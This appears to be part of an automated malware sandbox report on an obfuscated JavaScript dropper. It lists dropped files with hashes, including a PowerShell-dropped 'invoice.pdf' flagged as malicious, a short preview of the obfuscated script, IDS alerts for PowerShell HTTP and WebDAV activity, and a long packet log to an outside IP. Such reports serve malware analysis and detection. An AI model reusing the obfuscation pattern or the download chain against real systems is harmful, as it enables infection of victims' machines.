Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\5c1d15a7-cd30-43c0-bdac-fe122cd4a9c6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\8da68085-207a-46a9-b297-42259d4837f1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f09bedec-853e-409e-8cbf-c480df78e3a7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15095), with CRLF line terminators
Entropy (8bit):	4.915186051250595
TrID:
File name:	27458284801797225280.js
File size:	18'499 bytes
MD5:	04f4d396586fe6d14935b57be4c2a995
SHA1:	50cdb79ef7bd9a4ac4e4b89c3552957e2a418f0a
SHA256:	c987350723d83b9a814d52279cc02cf338e1cd36650f03ed06753b56dc98afb7
SHA512:	f587ce8e5bf2dd470a61275767dbd8ae6712d7461f10cb00dfa9628b403683a7e0dff734398d1adb1cdb3cd6838f986d8a30c9528c2eb7909ea4c6d0102e2938
SSDEEP:	384:EUqIVlbyA05N8Hs+qL316CeAxoHGhGAzG+3FsX3V9jEdHXTm3vH4GWncq3mIIiMR:FTlbyX8Hs+qL316CeAxoHGhGAzG+3FsR
TLSH:	578230CC8402C60ACEE417D888D749F311B04ACFA9B23F95185A1DD9A9137D4A9FFAF5
File Content Preview:	function lrduro(){hlihekb=[1031,3079,5127,4103,2055,3072];var fzdbencln=this[hjhzcatb+kmqoofy+nybhos+eebvnf+dkeyapex+swpkjgt+xxthxkng+tszpk](this[krnitn+vcwxikr+hihuzwcar+nybhos+jyebn+hjhzcatb+tszpk][icgwb+nybhos+dkeyapex+kmqoofy+tszpk+dkeyapex+tkqswali+c

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T23:53:58.928646+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.10	49712	193.143.1.205	80	TCP
2025-01-10T23:54:01.227475+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.10	49728	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:53:58.152750015 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:58.157601118 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:58.157684088 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:58.160712004 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:58.165482998 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:58.928425074 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:58.928447962 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:58.928467989 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:58.928565025 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:58.928592920 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:58.928607941 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:58.928622961 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:58.928638935 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:58.928646088 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:58.928654909 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:58.928673983 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:58.928731918 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:58.934185028 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:58.971035004 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:58.971057892 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:58.971120119 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.048612118 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.048650026 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.048666000 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.048702955 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.048767090 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.048784018 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.048799038 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.048809052 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.048818111 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.048839092 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.049654961 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.049673080 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.049688101 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.049702883 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.049719095 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.049724102 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.049820900 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.050482035 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.050498962 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.050518036 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.050532103 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.050548077 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.050570965 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.050602913 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.051348925 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.051366091 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.051388025 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.051394939 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.051407099 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.051435947 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.099380970 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.099417925 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.099438906 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.099473000 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.099504948 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.099598885 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.135411978 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.135457039 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.135509014 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.169406891 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.169446945 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.169501066 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.169537067 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.169547081 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.169547081 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.169615984 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.169666052 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.169718981 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.169754028 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.169764042 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.169764042 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.169887066 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.170063972 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.170079947 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.170099020 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.170134068 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.170167923 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.170208931 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.170208931 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.170428038 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.170516014 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.170551062 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.170584917 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.170619011 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.170634985 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.170634985 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.170653105 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.171188116 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.171257973 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.171308994 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.171309948 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.171309948 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.171369076 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.171401978 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.171456099 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.171490908 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.171499968 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.171499968 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.172188044 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.172239065 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.172245026 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.172260046 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.172295094 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.172307968 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.172329903 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.172363043 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.172401905 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.172447920 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.172447920 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.173021078 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.173034906 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.173089027 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.173118114 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.173121929 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.173157930 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.173202038 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.173212051 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.173223972 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.173320055 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.173898935 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.173947096 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.173970938 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.186176062 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.186207056 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.186285019 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.186319113 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.186326981 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.186327934 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.186362982 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.186543941 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.217266083 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.217324972 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.217525959 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.223624945 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.223671913 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.223685026 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.223844051 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.256169081 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.256203890 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.256398916 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.290209055 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.290246010 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.290318012 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.290334940 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.290355921 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.290360928 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.290400028 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.290442944 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.290462971 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.290576935 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.290589094 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.290623903 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.290668964 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.290668964 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.290888071 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.290944099 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.290977955 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.291012049 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.291027069 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.291063070 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.291441917 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.291476011 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.291512966 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.291547060 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.291583061 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.291589022 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.291589022 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.291974068 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.292009115 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.292059898 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.292090893 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.292104959 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.292107105 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.292143106 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.292191029 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.292227030 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.292227030 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.292293072 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.292820930 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.292874098 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.292927980 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.292963028 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.292995930 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.293001890 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.293001890 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.293030024 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.293066025 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.293086052 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.293751001 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.293801069 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.293808937 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.293837070 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.293869972 CET	80	49712	193.143.1.205	192.168.2.10
